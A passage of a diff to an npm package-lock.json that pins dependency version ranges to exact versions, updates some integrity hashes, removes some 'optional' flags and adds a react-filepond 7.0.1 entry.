"sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "has-flag": { @@ -7229,7 +7199,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -8047,21 +8017,19 @@ "dev": true, "optional": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" } }, "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -8081,8 +8049,7 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", @@ -8143,14 +8110,14 @@ "dev": true, "optional": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" } }, "glob": { @@ -8179,7 +8146,7 @@ "dev": true, "optional": true, "requires": { - "safer-buffer": "^2.1.0" + "safer-buffer": "2.1.2" } }, "ignore-walk": { @@ -8217,7 +8184,7 @@ "bundled": true, "dev": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "isarray": { @@ -8230,7 +8197,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -8278,9 +8244,9 @@ "dev": true, "optional": true, "requires": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" + "debug": "2.6.9", + "iconv-lite": "0.4.21", + "sax": "1.2.4" } }, "node-pre-gyp": { @@ -8307,8 +8273,8 @@ "dev": true, "optional": true, "requires": { - "abbrev": "1", - "osenv": "^0.1.4" + "abbrev": "1.1.1", + "osenv": "0.1.5" } }, "npm-bundled": { @@ -8323,8 +8289,8 @@ "dev": true, "optional": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" } }, "npmlog": { @@ -8376,8 +8342,8 @@ "dev": true, "optional": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "path-is-absolute": { @@ -8398,10 +8364,10 @@ "dev": true, "optional": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -8418,13 +8384,13 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "rimraf": { @@ -8476,9 +8442,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } }, "string_decoder": { @@ -8487,7 +8453,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } }, "strip-ansi": { @@ -8495,7 +8461,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-json-comments": { @@ -8531,7 +8497,7 @@ "dev": true, "optional": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" } }, "wrappy": { @@ -8809,7 +8775,7 @@ "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", "dev": true, "requires": { - "lodash": "^4.17.10" + "lodash": "4.17.10" } }, "loader-utils": { @@ -8818,9 +8784,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -13604,6 +13570,11 @@ "prop-types": "15.6.2" } }, + "react-filepond": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz", + "integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw==" + }, "react-graph-vis": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz", @@ -13668,10 +13639,10 @@ "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" } }, "babel-runtime": { @@ -13679,8 +13650,8 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "regenerator-runtime": { @@ -14235,7 +14206,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" + "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" }, "resolve-url": { "version": "0.2.1", @@ -15915,9 +15886,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } }, "schema-utils": { @@ -15926,9 +15897,9 @@ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" + "ajv": "6.5.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.2.0" } } } @@ -16046,7 +16017,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" + "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" }, "vary": { "version": "1.1.2", @@ -16354,8 +16325,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -16376,14 +16346,12 @@ "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -16398,20 +16366,17 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -16528,8 +16493,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -16541,7 +16505,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "1.0.1" } @@ -16556,7 +16519,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -16564,8 +16526,7 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { "version": "2.2.4", @@ -16589,7 +16550,6 @@ "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -16670,8 +16630,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -17061,16 +17020,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -17079,7 +17038,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17090,8 +17049,8 @@ "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", "dev": true, "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" } }, "expand-brackets": { @@ -17100,13 +17059,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -17115,7 +17074,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -17124,7 +17083,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -17133,7 +17092,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17142,7 +17101,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17153,7 +17112,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17162,7 +17121,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17173,9 +17132,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -17192,14 +17151,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -17208,7 +17167,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -17217,7 +17176,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17228,10 +17187,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -17240,7 +17199,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17251,7 +17210,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -17260,7 +17219,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -17269,9 +17228,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-number": { @@ -17280,7 +17239,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17289,7 +17248,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17312,9 +17271,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } }, "micromatch": { @@ -17323,19 +17282,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, "tapable": { @@ -17376,7 +17335,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "camelcase": { @@ -17391,9 +17350,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "cliui": { @@ -17402,9 +17361,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" } }, "cross-spawn": { @@ -17413,11 +17372,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.5.1", + "shebang-command": "1.2.0", + "which": "1.3.0" } }, "decamelize": { @@ -17450,7 +17409,7 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "^3.0.0" + "locate-path": "3.0.0" } }, "has-flag": { @@ -17480,9 +17439,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } }, "locate-path": { @@ -17491,8 +17450,8 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" + "p-locate": "3.0.0", + "path-exists": "3.0.0" } }, "mem": { @@ -17523,7 +17482,7 @@ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", "dev": true, "requires": { - "p-try": "^2.0.0" + "p-try": "2.0.0" } }, "p-locate": { @@ -17532,7 +17491,7 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "^2.0.0" + "p-limit": "2.0.0" } }, "p-try": { @@ -17559,7 +17518,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -17597,7 +17556,7 @@ "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", "dev": true, "requires": { - "camelcase": "^4.1.0" + "camelcase": "4.1.0" } } } @@ -17665,8 +17624,8 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" } }, "arr-diff": { @@ -17687,16 +17646,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -17705,7 +17664,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17722,19 +17681,19 @@ "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", "dev": true, "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "fsevents": "^1.2.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.4", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.0", + "lodash.debounce": "4.0.8", + "normalize-path": "2.1.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0", + "upath": "1.1.0" } }, "cliui": { @@ -17743,9 +17702,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" }, "dependencies": { "strip-ansi": { @@ -17754,7 +17713,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } @@ -17804,12 +17763,12 @@ "integrity": "sha1-U+z2mf/LyzljdpGrE7rxYIGXZuU=", "dev": true, "requires": { - "globby": "^6.1.0", - "is-path-cwd": "^1.0.0", - "is-path-in-cwd": "^1.0.0", - "p-map": "^1.1.1", - "pify": "^3.0.0", - "rimraf": "^2.2.8" + "globby": "6.1.0", + "is-path-cwd": "1.0.0", + "is-path-in-cwd": "1.0.1", + "p-map": "1.2.0", + "pify": "3.0.0", + "rimraf": "2.6.2" } }, "execa": { @@ -17833,13 +17792,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.9", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "debug": { @@ -17857,7 +17816,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -17866,7 +17825,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -17875,7 +17834,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17884,7 +17843,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17895,7 +17854,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17904,7 +17863,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17915,9 +17874,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -17934,14 +17893,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -17950,7 +17909,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -17959,7 +17918,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17970,10 +17929,10 @@ "integrity": 